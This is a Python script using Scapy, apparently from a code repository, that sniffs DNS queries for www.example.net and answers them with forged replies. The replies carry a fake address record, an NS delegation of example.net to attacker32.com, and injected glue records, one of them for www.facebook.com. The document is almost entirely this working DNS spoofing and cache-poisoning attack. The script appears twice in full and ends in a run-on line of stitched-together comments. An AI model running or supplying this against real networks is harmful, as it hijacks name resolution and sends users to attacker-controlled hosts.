<gh_stars>1-10
#!/usr/bin/python
from scapy.all import*
def spoof_dns(pkt):
	if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
		# Swap the source and destination IP address
		IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
		# Swap the source and destination port number
		UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
		# The Answer Section
		Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
						ttl=259200, rdata='10.0.2.5')
		# The Authority Section
		NSsec1 = DNSRR(rrname='example.net', type='NS',
						ttl=259200, rdata='attacker32.com')
		NSsec2 = DNSRR(rrname='example.net', type='NS',
						ttl=259200, rdata='ns.example.net')
		# The Additional Section
		Addsec1 = DNSRR(rrname='attacker32.com', type='A',
						ttl=259200, rdata='172.16.31.10')
		Addsec2 = DNSRR(rrname='ns.example.net', type='A',
						ttl=259200, rdata='172.16.31.10')
		Addsec3 = DNSRR(rrname='www.facebook.com', type='A',
						ttl=259200, rdata='172.16.31.10')
		# Construct the DNS packet
		DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
					qdcount=1, ancount=1, nscount=2, arcount=3,
					an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)
		# Construct the entire IP packet and send it out
		spoofpkt = IPpkt/UDPpkt/DNSpkt
		send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)
#!/usr/bin/python
from scapy.all import*
def spoof_dns(pkt):
	if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
		# Swap the source and destination IP address
		IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
		# Swap the source and destination port number
		UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
		# The Answer Section
		Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
						ttl=259200, rdata='10.0.2.5')
		# The Authority Section
		NSsec1 = DNSRR(rrname='example.net', type='NS',
						ttl=259200, rdata='attacker32.com')
		NSsec2 = DNSRR(rrname='example.net', type='NS',
						ttl=259200, rdata='ns.example.net')
		# The Additional Section
		Addsec1 = DNSRR(rrname='attacker32.com', type='A',
						ttl=259200, rdata='172.16.31.10')
		Addsec2 = DNSRR(rrname='ns.example.net', type='A',
						ttl=259200, rdata='172.16.31.10')
		Addsec3 = DNSRR(rrname='www.facebook.com', type='A',
						ttl=259200, rdata='172.16.31.10')
		# Construct the DNS packet
		DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
					qdcount=1, ancount=1, nscount=2, arcount=3,
					an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)
		# Construct the entire IP packet and send it out
		spoofpkt = IPpkt/UDPpkt/DNSpkt
		send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)
#!/usr/bin/python # Swap the source and destination IP address # Swap the source and destination port number # The Answer Section # The Authority Section # The Additional Section # Construct the DNS packet # Construct the entire IP packet and send it out # Sniff UDP query packets and invoke spoof_dns().